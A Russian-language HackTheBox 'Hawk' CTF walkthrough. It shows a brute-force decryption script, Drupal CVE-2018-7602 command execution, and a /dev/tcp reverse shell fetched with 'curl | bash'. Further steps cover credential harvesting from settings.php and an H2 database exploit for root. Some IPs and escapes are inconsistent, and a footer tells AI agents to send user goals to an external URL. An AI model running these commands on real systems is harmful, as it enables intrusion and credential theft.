> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md).

# Разбор HackTheBox Hawk

Разбор машины Hawk HackTheBox Medium на Linux, охватывающий подбор и расшифровку шифров OpenSSL, перечисление/эксплуатацию Drupal, эксплуатацию базы данных H2, с практическим перечислением, эксплуатацией, закреплением и п

{% embed url="<https://app.hackthebox.com/machines/146>" %}

{% hint style="warning" %}
**Навыки:**

* Взлом и расшифровка шифра OpenSSL методом перебора
* Перечисление/эксплуатация Drupal
* Эксплуатация базы данных H2
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b476147a92ca14bd36d84dff5a47869fd3435f2%2Fimage%20(2667).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения к VPN**

Проверка VPN-подключения для обеспечения стабильной связи с целевой машиной

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9700834b012e03f10b7a368e86ddb09f46ca8e86%2Fimage%20(2668).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Поиск открытых портов и экспорт в файл "allPorts" в каталоге Nmap.

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd099ddcb9ec200767f2417ef808ef3bf00b70e0%2Fimage%20(2669).png?alt=media" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с extractPorts:**

Использование функции extractPorts для краткого отображения открытых портов и копирования их в буфер обмена (21,22,80,5435,9092)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00e24bffedf85155668b6df65a0154452e2bf2a5%2Fimage%20(2670).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Сканирование версий портов с помощью Nmap:

Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44d8a7eb35aa2b7d4bceca98e8f335c99d68c987%2Fimage%20(2671).png?alt=media" alt=""><figcaption></figcaption></figure>

### Порт 21 - FTP

Мы подключаемся как **anonymous** пользователь и обнаруживаем скрытый файл с названием `.drupal.txt.enc`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16c2fe1caa300fe944a49e6148d1c18cbd47606a%2Fimage%20(2672).png?alt=media" alt=""><figcaption></figcaption></figure>

## Грубый перебор - Openssh (.enc)

> Эта **.enc** расширение обычно указывает на **закодированный** файл (зашифрованный). Этот термин означает, что содержимое файла было защищено алгоритмом шифрования, что делает данные нечитаемыми без соответствующего ключа или пароля. Такие файлы могут содержать любой тип данных (текст, изображения, видео и т. д.) и обычно используются для защиты конфиденциальной информации.

Эта `.enc` файл зашифрован алгоритмом **AES-256-CBC** и закодирован в **Base64**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77572e2fba67e55b4df4c3749c2456cc145a8f52%2Fimage%20(2673).png?alt=media" alt=""><figcaption></figcaption></figure>

**Шаг 1: Декодирование Base64**

```bash
cat .drupal.txt.enc | base64 -d > file_decoded.enc
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34740e0bc19cc11b32d0b4805f6858227ce928e8%2Fimage%20(2674).png?alt=media" alt=""><figcaption></figcaption></figure>

**Шаг 2: Расшифровка с OpenSSL**

Чтобы расшифровать файл, нам нужен пароль. Вот команда для попытки ручной расшифровки:

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af8cfefc7fe4531094d5fb8065e5a31c933a04fa%2Fimage%20(2675).png?alt=media" alt=""><figcaption></figcaption></figure>

**Шаг 3: Скрипт автоматизации для грубого перебора**

Мы используем Bash-скрипт для проверки списка паролей (например, `rockyou.txt`).

```bash
#!/bin/bash

function ctrl_c(){
    echo -e "/n/n[!] Завершение.../n"
    tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis
for password in $(cat /usr/share/wordlists/rockyou.txt); do
    openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null

    if [ "$(echo $?)" == "0" ]; then
        echo -e "/n[+] Пароль : $password/n"
        exit 0
    fi
done; tput cnorm
```

**Результат:**

Найденный пароль: **друзья**

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ec3269c4f31949021332d09000d2ec83f02df83%2Fimage%20(2676).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Расшифрованное сообщение**

Расшифрованный файл содержит новый пароль:

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64

друзья
```

* **PencilKeyboardScanner123**

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6f128df7f5443d3f12a87a5104243cd032edf7c%2Fimage%20(2677).png?alt=media" alt=""><figcaption></figcaption></figure>

## Порт 80 - HTTP

На порту 80 размещён Drupal 7 CMS.

```bash
whatweb 10.10.10.102
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62537663dc71693c66bac8de15a479a7c3066549%2Fimage%20(868).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d365f27853662c60b023ff9595df1d2a46941f95%2Fimage%20(2678).png?alt=media" alt=""><figcaption></figcaption></figure>

**Аутентификация - доступ по паролю**

Попробуйте подключиться с `PencilKeyboardScanner123` паролем для пользователя `admin` и аутентификация проходит успешно.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9854da5c1665a4a24619c6efd299e07ef3fef10f%2Fimage%20(867).png?alt=media" alt=""><figcaption></figcaption></figure>

### Обратная оболочка - Drupal 7

Мы будем использовать следующий скрипт для выполнения команд на сервере Drupal версии ниже 7 (CVE-2018-7602):

{% embed url="<https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py>" %}

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru"
```

Эта команда позволяет выполнить `id` команду на сервере.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4a848bde5138758b3c3c5fa863c68e0a4534629%2Fimage%20(869).png?alt=media" alt=""><figcaption></figcaption></figure>

**Доступ к серверу**/ Для получения доступа к серверу нам нужно слушать порт 443 с помощью `nc`

```bash
nc -nvlp 443
```

Затем вы создаёте `index.html` файл со следующим содержимым, чтобы установить обратную оболочку:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.30/443 0>&1
```

**Веб-сервер и выполнение команд**/ Запускает HTTP-сервер с Python:

```bash
python3 -m http.server 80 
```

Затем отправьте следующую команду, чтобы скачать и запустить скрипт:

```bash
curl http://10.10.14.3 | bash
```

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru"
```

<div data-full-width="true"><figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f08dac2514d3f2dab6115d45ef5e3f91c913119%2Fimage%20(870).png?alt=media" alt=""><figcaption></figcaption></figure></div>

**Стабилизация терминала** Для управления терминалом используются следующие команды:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Флаг user.txt :)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cca193231cfb97ec7bc00b266564e229de64e247%2Fimage%20(871).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **Повышение привилегий**

Исследуя веб-каталог по адресу `/var/www/html`, можно увидеть несколько конфигурационных файлов. Среди них выявлен интересный файл:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef54eec337a2942a055ea3c50d9e4a44e7797bf6%2Fimage%20(2680).png?alt=media" alt=""><figcaption></figcaption></figure>

**Путь :** `sites/default/settings.php`

При просмотре этого файла мы находим конфиденциальную информацию:

* Имя пользователя: drupal
* Пароль: drupal4hawk

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01aa9995a68738a29f46007af5d528bc37c638e9%2Fimage%20(2679).png?alt=media" alt=""><figcaption></figcaption></figure>

Эти учётные данные подключаются к базе данных MySQL. Для этого используются следующие команды:

```bash
mysql -u drupal -p
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af02e90772e84e4bd6be312096f4bb1a1c3f4a0f%2Fimage%20(2681).png?alt=media" alt=""><figcaption></figcaption></figure>

После ввода пароля выводятся все доступные базы данных, а затем выбирается база данных, связанная с Drupal:

```sql
show databases;
use drupal;
```

Оказавшись в базе данных, мы исследуем содержимое `users` таблицы, чтобы найти интересную информацию:

```
SELECT * FROM users;
```

В этой таблице мы находим хешированный пароль, связанный с пользователем:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5dd08f4e1b263a5ff53e6d859f6bcff925c7b0d0%2Fimage%20(2682).png?alt=media" alt=""><figcaption></figcaption></figure>

* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08`

### Грубый перебор John - хеш пароля

Используйте John для взлома хеша пароля

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Однако в этом конкретном случае совпадение не было найдено в `rockyou.txt` списке паролей.

### Выход из Python в обычный Bash

Мы получили доступ к серверу как `daniel` пользователь с паролем, связанным с базой данных (в этом примере, **drupal4hawk**). Вот команда для подключения:

```bash
ssh daniel@10.10.10.182
```

Пароль: **drupal4hawk**

После подключения мы сразу оказываемся в интерпретаторе Python.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f3bf511a71df9df5ad1b32cd68efd199114b4f2c%2Fimage%20(865).png?alt=media" alt=""><figcaption></figcaption></figure>

Чтобы вернуться к обычной оболочке Bash, мы можем использовать модуль Python `os` для выполнения команды Bash. Вот шаги:

1. Импортируйте модуль `os` :

   ```python
   import os
   ```
2. Запустите оболочку Bash:

   ```python
   os.system('/bin/bash')
   ```

Это позволит вам получить доступ к обычной оболочке Bash из интерпретатора Python.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-496fcd4867069cf292809d9505f05ad60cc53c65%2Fimage%20(866).png?alt=media" alt=""><figcaption></figcaption></figure>

## Эксплуатация базы данных H2

/*/* Анализ открытых портов/*/*

Для начала перечислим открытые порты внутри системы с помощью следующей команды:

```bash
netstat -tuln
```

Мы определяем, что порт **8082** открыт и на нём запущен сервис. Анализируя его, мы обнаруживаем, что это база данных CMS: **H2 Database**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f34b07f59b7875bfad272d4efe6683753221d43f%2Fimage%20(2683).png?alt=media" alt=""><figcaption></figcaption></figure>

Чтобы получить доступ к этой службе с нашей машины, мы выполняем перенаправление порта с помощью **SSH**, перенаправляя внутренний порт 8082 на порт 8082 нашей локальной машины:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5326b6f13ed64f5f0a72a40e2a5c3d5a6de8d892%2Fimage%20(2684).png?alt=media" alt=""><figcaption></figcaption></figure>

### Перенаправление портов

Чтобы получить доступ к этой службе с нашей машины, мы выполняем перенаправление порта с помощью **SSH**, перенаправляя внутренний порт 8082 на порт 8082 нашей локальной машины:

```bash
ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102
```

### База данных H2:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aec01f64b10b5c31cec3f7bbf9eb7141030baaf1%2Fimage%20(2685).png?alt=media" alt=""><figcaption></figcaption></figure>

Мы используем **searchsploit** чтобы найти известные уязвимости, связанные с H2 Database:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f1b5ad6558d5f985f72320fc61bf6fd935770e1%2Fimage%20(2687).png?alt=media" alt=""><figcaption></figcaption></figure>

```
searchsploit -m java/webapps/45506.py
```

Мы находим интересный эксплойт, позволяющий удалённое выполнение команд:

```bash
python3 45506.py -H 127.0.0.1:8082
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-672d4d7dbf52a3d3c1a6548cea9f11c5daa6e191%2Fimage%20(2686).png?alt=media" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

Скрипт позволяет нам выполнять команды на целевой машине. Исследуя систему, мы получаем **флаг root.txt**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99ddd22267dbb7a48d1f06ba3507b5f928e11d4f%2Fimage%20(2688).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc9fbcfbfb90bf183d39b172dac584adb3b7dc0d%2Fimage%20(2689).png?alt=media" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
